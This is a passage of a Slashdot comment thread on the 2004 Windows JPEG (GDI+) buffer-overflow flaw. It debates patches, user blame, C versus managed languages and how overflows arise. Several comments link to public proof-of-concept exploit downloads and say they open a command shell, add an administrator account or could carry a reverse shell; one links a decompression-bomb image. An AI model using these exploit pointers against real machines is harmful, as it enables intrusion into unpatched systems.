      Get paid to search..It's geniune and
    79. Re:Almost... by solbarth · · Score: 1

      If your company uses Messenger internally, but does not keep it from accessing the net, or allow you to install another reader that can access the MSN network, what can you do? course that just leaves you hooped at work, if you persist in using messenger at home, don't act suprised when your computer blows up.

    80. Re:Almost... by solbarth · · Score: 1

      I have been using Gaim .82 on a BSD box for some time with no problems at all (at least no problems that Gaim has caused)

  3. Patch is Already Out by darkmeridian · · Score: 5, Informative

    The patch for this one is already out. Furthermore, SP2 systems do not have this vulnerability unless Office is installed. SP2 by default has auto-updates enabled. And for Office to be exploited in a SP2 system, the user has to open the file manually.

    Code is always buggy. Even Firefox had a JPEG vulnerability of its own. This is dumb ownership, if this bug becomes prevalent.

    --
    A NYC lawyer blogs. http://www.chuangblog.com/
    1. Re:Patch is Already Out by RDosage · · Score: 2, Insightful
      This is dumb ownership, if this bug becomes prevalent.

      Sort of like it was dumb ownership to leave your SQL machine open to the Internet, allowing port 1334 open?

      Or it was dumb to open any of the attachments claiming to be from your administrator sending a passworded zipped file with some "clean-up tool" attached?

      We have proven that users aren't the one's responsible enough not to do something dumb. And, SP2 is still undergoing testing in many office environments.

    2. Re:Patch is Already Out by Gzip+Christ · · Score: 5, Funny
      This is dumb ownership, if this bug becomes prevalent.
      Phew... I was worried there for a second. It's a good thing we can rely on Windows users to not be dumb, otherwise the Internet would be bogged down in viruses, spyware, and spam.
    3. Re:Patch is Already Out by Epistax · · Score: 3, Interesting

      Still, I have to wonder how they internally wrote code to let things like this happen. It seems to me you want to write your program such that if something unintentioned does happen, it is at least bound by what it can do. Execution stemming from a jpeg? Oh, come on :P

    4. Re:Patch is Already Out by darkmeridian · · Score: 4, Insightful


      This is dumb ownership, if this bug becomes prevalent.

      Phew... I was worried there for a second. It's a good thing we can rely on Windows users to not be dumb, otherwise the Internet would be bogged down in viruses, spyware, and spam.


      Well, most users are, uh, stupid. Even if we used Linux, in order to make it simple enough to use, there will be vulnerabilities. For example, getting people to use "sudo" with a limited account makes sense to you and me, but might confuse the heck out of some newbie in Tennessee.

      So it is not a Windows-specific problem. If Linux ever becomes popular as a desktop platform, we will then have dumb Linux users.

      --
      A NYC lawyer blogs. http://www.chuangblog.com/
    5. Re:Patch is Already Out by Jeffv323 · · Score: 0, Redundant

      The patch for this one is already out. ... and is available :)

      OK mods, now give me a +5 Informative for my hard work!

      --
      I'm a minister!
    6. Re:Patch is Already Out by toomanyhandles · · Score: 1

      >This is dumb ownership, if this bug becomes prevalent
      ???
      Are you saying that few people who have Office installed, ever open jpegs on their own???

      I see this as one of the best ways to involve users in the spread of unwanted payloads.

      SP2 is going to take a long time to be applied (it doesn't work well, isn't very secure, and is a HUGE download for non-broadband).
      And even if you have SP2, users have to have patched Office as well.
      I see this as being a problem for a good long time to come. There are so many things that can be done with it.

    7. Re:Patch is Already Out by Jeffv323 · · Score: 1

      ... yep, supposed to be a "here" in there somewhere.. ah damn

      --
      I'm a minister!
    8. Re:Patch is Already Out by Anonymous Coward · · Score: 0

      No objection to the always buggy theory, but right now code is WAY TOO BUGGY. There are entire classes of bugs which can be avoided automatically, without additional programmer time. Yet we still see these bugs every day. Is failure to update really the users' fault when you have to download several megabytes of updates almost every week with a rapidly decreasing warning time of now merely days?

      Software needs to become much better before we can point fingers at users who keep using buggy software. For some people computers are tools, not their favorite pastime.

      Oh, about SP2: If Microsoft really wanted to help security, they would offer a provably anonymous update solution. I have a legal copy of XP, but I simply do not want my computer to talk to a convicted anti-competitive corporation any more than necessary. Why would MS need any information from me except the list of patches I need? It is my own damn business if I updated my graphics card since I last contacted windowsupdate.

    9. Re:Patch is Already Out by Anonymous Coward · · Score: 0
      I said that this was dumb ownership, not dumb usership. There's a difference, you know?


      no, i don't know. who is the agent of ownership? this could very well mean the same damn thing as usership. on the internet, no one knows what you mean, only what you write. keep that in mind.
    10. Re:Patch is already out by gl4ss · · Score: 1

      depends.

      you could still have vulnurable 3rd party software that used the exploitable code in it.

      --
      world was created 5 seconds before this post as it is.
    11. Re:Patch is Already Out by maxwell+demon · · Score: 5, Informative

      Well, you know, that's called a software bug. A software bug is by definition something you didn't intend.

      Actually, it's a buffer overflow. A buffer overflow means that there is some area of memory reserved for some data, and then there's more data written to it than fits in. This causes some other data to be overwritten; if that other data happens to be a return address (basically a number which tells the computer where to continue after finishing the current task), then you can get the computer to execute arbitrary code which is in memory - including the code you just conveniently placed into the memory as "image data".

      I don't know details of the JPEG image format, but with a simple bitmap format, a buffer overflow might happen as follows:

      The image contains the number of pixels, and the bytes per pixel. The program takes those numbers, multiplies them, and reserves that much memory to take the pixel values. Then it reads the rest of the file as image data into that memory.

      Now, this simple program for this simple image format may be easily exploited: Just put more data into the image than the product of number of pixels and bytes per pixel. Then the program as written will not reserve enough memory for that data (because the values at the beginning don't tell the truth), and therefore the data will overwrite anything following the data.

      Ok, the fix is easy: Don't read more data than you allocated memory for. The problem is that on one hand, there are C standard functions which make it easy to get that wrong, and second, there can be more subtle ways to produce the same result. For example, the multiplication could overflow, resulting in too little memory being allocated, while the given number of pixels is read in (under the believe that you have reserved enough memory for that).

      And yes, buffer overflows happen in open source software as well as in Microsoft software.

      --
      The Tao of math: The numbers you can count are not the real numbers.
    12. Re:Patch is already out by BoldAC · · Score: 5, Informative

      Come on guys! This is slashdot!

      Where is the downloadable link to the second proof of concept code?

      Here's the link to the first POC:
      http://www.gulftech.org/?node=downloads

      The first POC just generates the buffer overflow crash. Interesting enough, on an unpatched system, just having the jpg on your desktop caused by explorer to crash - repeatedly. I am assuming as XP tried to generate the thumbnail. However, if viewed through a web page, I could view it fine.

      I've been looking for the second POC code since yesterday. It supposedly opens a cmd prompt when the crafted jpg is viewed.

      AC

    13. Re:Patch is already out by SenseiLeNoir · · Score: 1

      not if some old program you have decides to "roll back" the library installed......

      --
      Have a nice day!
    14. Re:Patch is already out by Trigun · · Score: 5, Informative

      http://www.k-otik.com/
      You can find it all there, including a C program that fires off a local cmd shell.

      Only for use as a security lesson and ethical hacking.

    15. Re:Patch is Already Out by Renraku · · Score: 1

      Hey, I live in TN..:/

      --
      Job? I don't have time to get a job! Who will sit around and bitch about being broke and unemployed then?
    16. Re:Patch is Already Out by maxwell+demon · · Score: 1
      Oh, about SP2: If Microsoft really wanted to help security, they would offer a provably anonymous update solution.

      You mean, like all those official Microsoft XP SP2 CDs in about every Computer magazine you could buy in the last week? At least in Germany there was almost no computer magazine without SP2.
      --
      The Tao of math: The numbers you can count are not the real numbers.
    17. Re:Patch is already out by BoldAC · · Score: 0

      Sweet!

      Posted exactly 5 minutes after my asking.

      Thanks!

    18. Re:Patch is Already Out by Anonymous Coward · · Score: 0

      I see someone has never coded before......

    19. Re:Patch is Already Out by Cecil · · Score: 2, Interesting

      For example, getting people to use "sudo" with a limited account makes sense to you and me, but might confuse the heck out of some newbie in Tennessee.

      That hasn't stopped Mac OS X from doing exactly that. You know, Apple, the guys who are all about usability to the point of having a set of UI design guidelines for all developers to abide by.

    20. Re:Patch is Already Out by Epistax · · Score: 2, Insightful

      That's pretty low man. I've coded plenty before and I've never encountered an instance where I can't check to see if a buffer overflow has occurred. I can't help but feel that all of these exploits are just sloppy programming. That is, they shouldn't exist and even the most basic test would show a problem. I don't know what kind of excuse you're trying to make for the programmers but your cowardly incorrect one sentence observation doesn't give me any insight.

    21. Re:Patch is Already Out by Jim+Hall · · Score: 1

      The patch for this one is already out. Furthermore, SP2 systems do not have this vulnerability unless Office is installed. SP2 by default has auto-updates enabled. And for Office to be exploited in a SP2 system, the user has to open the file manually.

      Whew, that's good to hear. Oh wait, Office is installed on almost every Windows system (including XP.) So most XP-SP2 users will likely have the vulnerability.

      Only exploited if the JPG is opened manually? How many pr0n links do you think people will get as a result of this virus?

    22. Re:Patch is already out by KidHash · · Score: 4, Informative

      Which isn't really that helpful, however, there's space for 2500 bytes of shell code (ie, lots of space left in the example on k-otik) for writing something with a reverse-shell - in fact, this has already been done, it just isn't public There's also a newer example on k-otik Which adds an administrator account to the system it runs on, however, you'll have to edit some of the code yourself - script-kiddy-proof.

    23. Re:Patch is Already Out by NoMoreNicksLeft · · Score: 1

      Aren't you describing a heap overflow though? And anything that has a proper memory management scheme should just you a segfault and crash gracefully... unless the guys at Microsoft commonly declare space on the stack for big images.

    24. Re:Patch is Already Out by Anonymous Coward · · Score: 0

      Ok, I could have worded that better. My objection isn't so much towards SP2 itself and the way it is distributed but to the Windows Update mechanism, which defaults to automatic in SP2. The new "security center" also checks for this setting. German computer magazine c't has reportedly inquired about distributing individual MS patches with the magazine. Their requests have been declined almost every time. I wonder why.

    25. Re:Patch is Already Out by NatasRevol · · Score: 1

      I prefer 'updated options' myself.

      --
      There are two types of people in the world: Those who crave closure
    26. Re:Patch is Already Out by Junks+Jerzey · · Score: 4, Informative

      That's pretty low man. I've coded plenty before and I've never encountered an instance where I can't check to see if a buffer overflow has occurred. I can't help but feel that all of these exploits are just sloppy programming.

      It isn't sloppy programming as much as the rules having changed. It used to be that you'd write an image decoder (or *any* program that reads an external file format), and you'd either (a) assume that the file structure is correct (because if it isn't, then it had to be created by a bad encodder), or (b) do some rudimentary checking to catch basic problems (such as a missing file id tag in the first bytes). And the worst that could usually happen was that your decoder would crash or become unstable. Really, this is how things have been, how coders have worked. Remember, it applies to every single type of external data read into a program: serialized data saved by library classes in C++, Python, etc., bytecode files read by a virtual machine or other interpreter, help file indices, intermediate object files...everything.

      Moreso, just because you don't have buffer overruns doesn't mean you're in the clear. You have to check for tremendous files, too. What if someone passes you an image file that's correct and compressed, but decompresses into a 100,000 by 100,000 32-bit image? Even if you had the memory to decode a large file, the resources it takes up makes it essentiallly a denial of service attack.

      These are tough issues.

    27. Re:Patch is Already Out by Paulrothrock · · Score: 1, Interesting
      Well, most users are, uh, stupid.

      My fiancee put it thusly:
      "We've both been tested and have IQs around 140. An IQ of 100 is average, and 60 is retarded. So compared to us, even average people are retarded."

      --
      I'm in the hole of the broadband donut.
    28. Re:Patch is Already Out by strider44 · · Score: 2, Informative

      Most people just call both circumstances "buffer overflow", even though there's a subtle difference.
      Anyway it's not that easy - forgetting to check for buffer size is an easy mistake to make, even though it is an extremely bad one to make. Most of the time it's not even evident looking at the code specifically looking for buffer overflow possibilities.

    29. Re:Patch is Already Out by Anonymous Coward · · Score: 0

      If we reduced software bugs mostly to the type leading to denial of service attacks, then that would be paradise compared to the situation we're in now. Why buffer overflows are still an issue really is beyond me. The worst that should happen is abnormal program termination due to a detected overflow. Ok, there's lots of old code around, but we're talking about "multibillion liquid assets" Microsoft here: Can't they at least give their cash cow an overhaul with a modern compiler as a first step and have a team rewrite it in a proper language for full effect?

    30. Re:Patch is Already Out by mewphobia · · Score: 1
      If Linux ever becomes popular as a desktop platform, we will then have dumb Linux users.

      umm, No way dude. There are no such thing as dumb linux users.

    31. Re:Patch is Already Out by kjamez · · Score: 2, Funny


      Well, most users are, uh, stupid. Even if we used Linux, in order to make it simple enough to use, there will be vulnerabilities. For example, getting people to use "sudo" with a limited account makes sense to you and me, but might confuse the heck out of some newbie in Tennessee.


      why tennessee? people from mississippi/alabama/arkanasa stereotypically are much dumberer than we is.

      to keep it on topic: by numbers, the likelyhood of a major jpeg-vuln outbreak is much greater in say new york than (god PERSONAL backyard): greeneville, tennessee.

      --
      you can't have everything, where would you put it?
    32. Re:Patch is Already Out by cascadefx · · Score: 1

      Actually, the Firefox vulnerability was for BMP files not JPEGs.

    33. Re:Patch is Already Out by Junks+Jerzey · · Score: 1

      Ok, there's lots of old code around, but we're talking about "multibillion liquid assets" Microsoft here: Can't they at least give their cash cow an overhaul with a modern compiler as a first step and have a team rewrite it in a proper language for full effect?

      And honestly, this is what Microsoft is doing with .net and C#. They're moving as much of the OS and related applications to so-called "managed code" (which really means "no raw pointer access") as possible.

    34. Re:Patch is Already Out by Anonymous Coward · · Score: 0

      Bet your friends are beating your door down to spend time with you...

    35. Re:Patch is Already Out by Dave2+Wickham · · Score: 1

      Like this? (Warning: May well crash your browser. It's a huge PNG.)

    36. Re:Patch is Already Out by Anonymous Coward · · Score: 0
      Hey, I live in TN.

      Proves his point doesn't it. :-)

    37. Re:Patch is Already Out by Anonymous Coward · · Score: 0

      Dumb Windows users as you call them are not the problem...its the jackasses who write and distribute viri and spyware...

    38. Re:Patch is Already Out by dasmegabyte · · Score: 0

      You know, Apple...

      They don't know who you're talking about. Here on Slashdot, they have different definitions for some terms.

      Try this: "You know, Apple, the guys who don't use OGG or FLAC, have 2% of the market compared to Slackware Linux's 23%, fucked Konfabulation, don't offer iTunes for Linux, screw artists by making deals with the RIAA instead of offering no songs people like, won't license their OS so they could be the next Microsoft and do it all on hardware that's more expensive that comparable commodity PC hardware you can make yourself. Oh, and the iPod doesn't have an FM tuner or a jockstrap and costs too much, nobody will buy it."

      Incidentally, OSX's use of sudo is very nice, way better than SuSE's, mostly because they don't refer to it as a "root password." I am a computer nobody. What does "root" mean to me? Nothing. What does Administrator mean to me? Something. That lock (the one that offers a simple way to chown your settings to root without knowing what any of those words mean) is a godsend too. The first step towards general UNIX-based OS adoption is trying to ignore the fact that it's UNIX except where absolutely necessary.

      --
      Hey freaks: now you're ju
    39. Re:Patch is Already Out by dasmegabyte · · Score: 1

      And yes, buffer overflows happen in open source software as well as in Microsoft software.

      True. And in the future, they may be even more prevalent than in Microsoft software. If it's truly MS' goal to switch all development to the managed .NET platform (and it should be), then overflow protection will be free during development and nearly free in terms of execution time.

      On the other hand, it doesn't appear that there's any impetus in the open source community to rewrite components in a modern exception handling, bounds checking, type verifying language. In fact, I see a lot of reliance on C. It's not 1972 anymore, guys. Computers have grown to the point that abstraction is far more important than tiny optimizations. And powerful optimizations are still possible in modern languages!

      --
      Hey freaks: now you're ju
    40. Re:Patch is Already Out by MindStalker · · Score: 1

      This is exploiting the compression algorithm for JPG I believe though, nothing to do with the actual image per say.

    41. Re:Patch is Already Out by Anonymous Coward · · Score: 0

      um, people don't generally lump the 2 together. stack overflows are generally tons easier to exploit than their heap cousins. I can't recall an instance when a heap overflow wasn't described as such.

    42. Re:Patch is Already Out by radish · · Score: 1

      Microsoft have UI guidelines too. Thing is, both MS and Apple routinely ignore them in their own products. Makes it all fairly pointless.

      --

      ---- Den ene knappen er powerknapp, den andre er Bender voice knapp "Bite My Shiny Metal Ass"

    43. Re:Patch is Already Out by drinkypoo · · Score: 2, Informative

      The difference is that it actually works in MacOS. Because MacOS is now Unix programs have a Unix context. You can see the context of your shell by running the "id" program (this is in cygwin, which is what I have handiest):

      uid=11008(service) gid=10513(Domain Users) groups=0(root),545(Users),10513(Domain Users),11071(Matric),11040(Tech),11233(visio2000)

      Unix programs spawned from a prior program always inherit the user context of the spawning process. On Windows, this is simply not true. I don't know if there's two ways to launch programs, with one causing the explorer to do it, but that seems like what's going on, because if I Run As... an installer (shift-right click will show it in the context menu) then maybe half the time it actually runs as the chosen user. Most of the time the second stage of the installer spawns with MY permissions, and I can't complete an install. Properly constructed installers, of course, will ask you if you want to elevate privileges when you run them, but I assume that's a relatively new option of installshield.

      The short form is that "sudo" (or as microsoft has it, run as... from the menu or the runas command) is not a valid solution on Windows because it doesn't work. It would be nice, though.

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    44. Re:Patch is Already Out by Anonymous Coward · · Score: 0

      > "We've both been tested and have IQs around 140. An IQ of 100 is average, and 60 is retarded. So compared to us, even average people are retarded."

      Consider that with such ego attachments to your numbers, and an attitude like that, you and your fiancee are both quite socially retarded. I sure hope you enjoy all your mensa friends -- you're bound to make few others.

    45. Re:Patch is Already Out by drinkypoo · · Score: 2, Insightful

      If your girlfriend puts that much faith in IQ tests, she's retarded :P

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    46. Re:Patch is Already Out by drinkypoo · · Score: 1

      There's nothing wrong with C, it's still the most portable language around given that java doesn't run on all that many platforms. In fact, one might explicitly say that it runs on very few platforms. There's stripped down versions of java all over the place, but that breaks portability, so I will now discount them. Also, I forget the numbers but 95% of your optimizations are in 5% of your code or something. A significant optimization in a tight loop might make your program dramatically faster. A modern JVM with JIT recompilation might perform this optimization anyway but involving java automatically makes your program much "heavier". If people would just use bounds-checking functions in C - and they do exist - then there would be nothing wrong with sticking with C.

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    47. Re:Patch is Already Out by Anonymous Coward · · Score: 0

      Read the grandparent post. If you already did, your last statement is a lie. If you didn't, why are you posting a response? Either way, nice job.

    48. Re:Patch is Already Out by Elwood+P+Dowd · · Score: 1

      And for Office to be exploited in a SP2 system, the user has to open the file manually.

      Uh... wouldn't the preview pane work just fine?

      --

      There are no trails. There are no trees out here.
    49. Re:Patch is Already Out by JFitzsimmons · · Score: 1

      Do you also happen to be a newbie?

      --
      Beware he who would deny you access to information, for in his heart he dreams himself your master. -Anonymous
    50. Re:Patch is Already Out by Anonymous Coward · · Score: 0

      Even Firefox had a JPEG vulnerability of its own.

      Stop spreading FUD the vulnerability in firefox was only in gdkpixbuf, which is not used in the windows version and in the linux version does not do any renderering of images except for the gtk+ widgets which a user would have to download and add to a custom theme to break, furthermore, major linux vendors had a patch available the very same day as the anoucement. fedora users with yum enabled therefore had the patch installed that day.

    51. Re:Patch is Already Out by jkauzlar · · Score: 1

      Aren't they putting C onto .NET? The memory management issues are pretty much built into the language, AFAIK, and I doubt its possible to implement C/C++ without also implementing its unchecked pointer facilities, so the buffer overflows won't go away, not unless they switch the entire codebase to some other language.

    52. Re:Patch is Already Out by Ruddykins · · Score: 1

      QUOTE: "...SP2 by default has auto-updates enabled. And for Office to be exploited in a SP2 system, the user has to open the file manually..." Ah, yeah. Except that sometimes autoupdate SAYS it's enabled, but in fact, it's not. If the service dosen't start, regardless of the "settings" it's not going to work. (service wuauserv) This is a real problem I just ran into recently at a school I support. A machine (recently re-imaged) wasn't autoupdated, and when you would try to go to the windows update service on the web, we'd pull an error that ISN'T in the M$ KB. I'm still working on this one, but it's on the back burner, as I just DL'd the admin pack, and we're forcing updates on everybody. QUOTE: "...This is dumb ownership, if this bug becomes prevalent." Like any of the other thousands of "equal parts curious, equal parts stupid" users who open the insanly obvious email attachments from people they don't know? (AND the not-so-obvious) Elsewhere on this thread someone points out that if Linux becomes the dominant platform, we'll have stupid users there as well. God forbid. Point is, people just DON'T WANT TO THINK. They want the quick-cheap-easy road most of the time.

      --
      -Chad
    53. Re:Patch is Already Out by dasmegabyte · · Score: 1

      The language in .NET is not C/C++...it's Managed C/C++. The "Managed" refers to extensions that perform memory management, garbage collection and bounds checking, as well as simplified linking. Standard C code works, and (I think) simply compiling it with the .NET managed memory libraries is enough to overcome said shortcomings.

      Furthermore, they aren't "putting" C onto .NET...Managed C was one of the three original CLR languages. It's been there since the betas. I myself would never use it (having a larger VB codebase and doing all future work in C#), but it's supposed to be robust.

      --
      Hey freaks: now you're ju
    54. Re:Patch is Already Out by general_re · · Score: 1
      Unix programs spawned from a prior program always inherit the user context of the spawning process. On Windows, this is simply not true.

      Yes it is. I don't know why you're having the problems you're having - perhaps the runas account doesn't have the privileges you think it does? - but I can testify that I have been using runas on Win2k to run installers with administrative privs for *years* now, and I have never had the problem you report. Not "rarely" or "once in a while" - never. Not to discount your reports, but I strongly suspect the problem is more particular to you than you think.

      --
      ABSURDITY, n.: A statement or belief manifestly inconsistent with one's own opinion.
    55. Re:Patch is Already Out by Ruddykins · · Score: 1
      NOTE: sorry for the bad post (this is a re-post) - my M$ desktop at work decided to crap out AND I started taking calls about an emergency and wasn't thinking... so I just hit submit instead of preview... (stupid stupid stupid)
      "...SP2 by default has auto-updates enabled. And for Office to be exploited in a SP2 system, the user has to open the file manually..."
      Ah, yeah. Except that sometimes autoupdate SAYS it's enabled, but in fact, it's not. If the service dosen't start, regardless of the "settings" it's not going to work. (service wuauserv) This is a real problem I just ran into recently at a school I support. A machine (recently re-imaged) wasn't autoupdated(although all settings said it should), and when you would try to go to the windows update service on the web, we'd pull an error that ISN'T in the M$ KB. I'm still working on this one, but it's on the back burner, as I just DL'd the admin pack, and we're forcing updates on everybody.
      "...This is dumb ownership, if this bug becomes prevalent."
      Like any of the other thousands of "equal parts curious, equal parts stupid" users who open the insanly obvious email attachments from people they don't know? (AND the not-so-obvious) Elsewhere on this thread someone points out that if Linux becomes the dominant platform, we'll have stupid users there as well. God forbid.

      Point is, people just DON'T WANT TO THINK. They want the quick-cheap-easy road most of the time.
      --
      -Chad
    56. Re:Patch is Already Out by recursiv · · Score: 1

      I bet you two are a blast at parties.

      --
      I used to bulls-eye womp-rats in my pants
    57. Re:Patch is Already Out by Anonymous Coward · · Score: 0

      If your company is trying not to install SP2 yet, this is a big hassle because it is very difficult for the average user now to install the patches without installing SP2, since Microsoft changed Windows Update to make it harder to get around installing SP2.

      In addition, most people running Windows have Office in one form or another, so it is a big deal. And, there are lots of people running earlier versions that will also have this problem. Windows 98, anyone?

    58. Re:Patch is Already Out by nytes · · Score: 1
      I've coded plenty before and I've never encountered an instance where I can't check to see if a buffer overflow has occurred.
      But do you always check? If you have, then you're an exceptional programmer, but you probably have very low productivity. Not that the latter is always a bad thing, because your code is completely bulletproof, but when a deadline looms you start coding for speed.

      But even when I've taken drastic steps to bulletproof my code (testing every parameter, checking every return value, etc.), I still have made errors. Cut-and-paste errors happen all the time in production environments. Or you check your function parameters but forget about some specific case (causing an erroneous rejection). Or the infamous, and still all too common, off-by-one error.
      --
      -- I have monkeys in my pants.
    59. Re:Patch is Already Out by mikefe · · Score: 1

      Firefox 0.10 handled it perfectly, with only a small CPU spike.

      Anyone's browser crash on this image?

      --
      There: Something at a specific location.
      Their: Owned by someone.
      Please make sure your english compiles.
    60. Re:Patch is Already Out by tjwhaynes · · Score: 1

      True. And in the future, they may be even more prevalent than in Microsoft software. If it's truly MS' goal to switch all development to the managed .NET platform (and it should be), then overflow protection will be free during development and nearly free in terms of execution time.

      That is one of the decisions to make when developing code - pick a language that fits your needs. Take Java/C#/lisp/whatever if you want a language that allows you to get the job done and provides the tools you need - the trade offs are less than maximum performance and maybe less control over garbage collection. If you need system level code and/or maximum performance, you might well choose C as being the "closest to the metal" while remaining (somewhat) architecture agnostic. The trade off is you had better be aware of memory management, the difference between stack and heap allocations, etc. C isn't going to be dropping off the list of useful languages any time soon but there is more choice now then there was 10 years ago.

      On the other hand, it doesn't appear that there's any impetus in the open source community to rewrite components in a modern exception handling, bounds checking, type verifying language. In fact, I see a lot of reliance on C. It's not 1972 anymore, guys. Computers have grown to the point that abstraction is far more important than tiny optimizations. And powerful optimizations are still possible in modern languages!

      Why do you think that the GNOME folks are looking at using C# to develop the high level components for the future GNOME stuff then? Developers in the open source community are free to choose the language that fits them the best - in many cases that is the language(s) that they are most comfortable. There are plenty of open source projects out there using Java and there are already more than a handful out there already relying on Mono. Impetus for change in an existing project comes when there is a need for change - you aren't going to throw away a lot of the code you have developed just because a new shiny language arrives.

      Having said that all, C has the benefit of being glue-able to almost any other language out there and is a strong contender for central development on the basis of this alone. C plus Valgrind, static code analysis and a good test rig can allow you to bullet proof even C code to a fair degree. Maybe the CLR will allow bindings into all corners of all languages to be a reality. Maybe not.

      YMMV. Especially with C.

      Cheers,
      Toby Haynes

      --
      Anything I post is strictly my own thoughts and doesn't necessarily have anything to do with the opinions of IBM.
    61. Re:Patch is Already Out by Anonymous Coward · · Score: 0

      Of course, people with a strong attachment to IQ numbers tend to take lots of tests . . . and get lots of practice with the particular types of puzzles that are on IQ tests . . . which render the tests meaningless for those people. Sorry.

    62. Re:Patch is Already Out by drinkypoo · · Score: 1

      I've had this problem under win2k with a multitude of products. I suspect that it happens when a 16 bit installer stub launches the 32 bit installer but have done no research along those lines. SOMETIMES run as works, sometimes it doesn't. If you've never had the problem, I in turn suspect you haven't been installing a very wide range. IT happened to me enough to where I now just make the user an administrator on the system, install, and then demote them.

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    63. Re:Patch is Already Out by Anonymous Coward · · Score: 0
      It's not 1972 anymore, guys.
      I think they realize this. Many open source projects are starting to utilize a number of features from C99. I see hardly any using K&R any more.
    64. Re:Patch is Already Out by Anonymous Coward · · Score: 0

      Considering a 100,000 x 100,000 image is larger than 4 gigs and the multiplication to calculate the file size would overflow, I'd say it is a potential denial of service attack.

    65. Re:Patch is Already Out by PetoskeyGuy · · Score: 1

      Anyone got a JPEG out there that will install this patch for me?

    66. Re:Patch is Already Out by Froug · · Score: 1

      If we reduced software bugs mostly to the type leading to denial of service attacks, then that would be paradise compared to the situation we're in now. Why buffer overflows are still an issue really is beyond me. The worst that should happen is abnormal program termination due to a detected overflow.

      This is pretty much the case for operating systems and compilers that guard the stack and enforce no_exec memory on architectures that don't do it themselves. eg: PaX-enabled Linux & gcc on x86.
      The OS simply terminates the app on overflow, rather than allow it to corrupt the stack or return with an altered address.

      It's no silver bullet against exploitable flaws, because buffer overflows are only one of many avenues of attack... but it certainly helps.

    67. Re:Patch is Already Out by Anonymous Coward · · Score: 0

      Might as well use Java, then. It's better suited as a managed code platform, it's better proven, and it's cross-platform. None of this .net/C# tomfoolery from a company with a poor security track record and an even worse track record for equitable access to the standards they create.

    68. Re:Patch is Already Out by theFrantic · · Score: 1

      ha! if anything 'Dumb User' is definately cross platform.

    69. Re:Patch is already out by trick-knee · · Score: 1

      anyway, the guy coulda been in less of a rush and cleaned up the code a bit. s/he declares a FILE *fin but never uses it.

      http://k-otik.com/exploits/09222004.ms04-28-cmd. c. php

    70. Re:Patch is Already Out by Snaller · · Score: 1

      Is there a direct link to a patch other thank SP2 ?

      --
      If Google really cared they would fix Android Chrome to reflow text, instead of discriminating
    71. Re:Patch is Already Out by Reziac · · Score: 1

      53,410 bytes on disk, 36,045,800 bytes in memory (wow, that's some compression :), 16384 pixels/227 inches square. It did barf QVP (what I use to view PNGs with my old PNGless browser) but Corel Photopaint has no problem with it.

      Now that I've got it, what do I *DO* with it? :)

      --
      ~REZ~ #43301. Who'd fake being me anyway?
    72. Re:Patch is Already Out by Anonymous Coward · · Score: 0

      Considering a 100,000 x 100,000 image is larger than 4 gigs and the multiplication to calculate the file size would overflow, I'd say it is a potential denial of service attack.

      That's another way to do a buffer overflow. Ask for an image that's 92,682 pixels on a side. The system allocates room for 92,682 * 92,682 = 18,532 pixels (mod 2^32) and the buffer overflows on the first line. You need to think about extreme boundary conditions when writing code like this.

      The trouble with labelling this a DoS attack is that someone might really want to deal with an enourmous image. Obviously not 92,682 pixels on a side unless you're willing to work in chunks, but still.

    73. Re:Patch is Already Out by r2q2 · · Score: 1

      Now it just asks for your password as of 10.3
      (output of uname -a)
      Darwin fandango.local 7.5.0 Darwin Kernel Version 7.5.0: Thu Aug 5 19:26:16 PDT 2004; root:xnu/xnu-517.7.21.obj~3/RELEASE_PPC Power Macintosh powerpc

      --
      My UID is prime is yours?
    74. Re:Patch is Already Out by Anonymous Coward · · Score: 0

      That's weird, I have an IQ of 110 but compared to me you are retarded.

      Oh, and your fiancee also put the following thusly to me:

      "Baby I love your 9" piece. 5.5" is average, and the typical clit is 0.3" long. So compared to you Paul has a pussy"

    75. Re:Patch is Already Out by general_re · · Score: 1
      If you've never had the problem, I in turn suspect you haven't been installing a very wide range.

      Not unreasonable for you to suspect, but in fact it's been a pretty wide range. Although I don't always install that way - just when it happens to be convenient for me. Given that, I don't deny that it may be a problem, but I expect that I would have observed it myself if it were an especially common problem...

      --
      ABSURDITY, n.: A statement or belief manifestly inconsistent with one's own opinion.
    76. Re:Patch is Already Out by Zoxed · · Score: 1

      > Ok, the fix is easy: Don't read more data than you allocated memory for.

      Should that not be Don't *write* more data... ? ie don't overflow your buffer.

      Is not a buffer overflow also a function of your programming language and/or kernel. E.g. data and executable code mixed in one area is a bit iffy (instead of only addresses on the stack, and data on the heap). And the kernel could do some checks on where it jumps to, and what is found there.

    77. Re:Patch is Already Out by maxwell+demon · · Score: 1

      The jump is not executed by the kernel, but directly by the processor. And the NX bit to prevent execution from data/stack areas was just introduced to the x86 world with AMD's 64 bit extension. All 32 bit x86 processors don't have it.

      --
      The Tao of math: The numbers you can count are not the real numbers.
    78. Re:Patch is Already Out by Anonymous Coward · · Score: 0

      I'm pink, therefore I'm spam.

      Pussy is pink too, are you sure you're not a pussy?

  4. PNG too? by cpghost · · Score: 3, Interesting

    What about the vuln. in the PNG libs? Any exploit in the wild?

    --
    cpghost at Cordula's Web.
    1. Re:PNG too? by Anonymous Coward · · Score: 0

      I think there's a bit of a difference with what you would do with the exploit concerning the target audience. If you exploit a unix machine with libpng, it's most likely that the person is runing a GUI and not as root. The JPEG problem affects windows machines, which are unfortunatly usually given Administrator priveleges. All other things being equal, if I were going to write an expoit, I'd choose the JPEG one simply because you have the potential to wreak a lot more havoc.

  5. Spammers by sleepnmojo · · Score: 5, Interesting

    The biggest problem here is when spammers use this in there opt out link. This would probably be much more effective than the scrollbar hack they are using now. It just has to render the damn page, and wham you're infected.

    1. Re:Spammers by don_carnage · · Score: 4, Informative

      HTML-formatted email + Outlook = Bad day for Grandma.

    2. Re:Spammers by SenseiLeNoir · · Score: 1

      As i said in an earlier comment.. no need for outlook:

      HTML Mail + *ANY* web based email system + Unpatched Internet Exploder = bad day for ALL

      --
      Have a nice day!
    3. Re:Spammers by System.out.println() · · Score: 1

      Why bother with a link? a simple will cause OE to render it the instant it's in the preview pane. Whoops.

    4. Re:Spammers by System.out.println() · · Score: 1

      That is, a "simple ". I'm dumb like that.

  6. Re:heheheh by Anonytroll · · Score: 1, Insightful

    doncha just luv it:-)


    No. And neither should you.
  7. I cannot help but grin ... by YetAnotherName · · Score: 1, Interesting

    ... when reading stories like this on my desktop computers, one of which is a Linux, the other of which is a Mac OS X ...

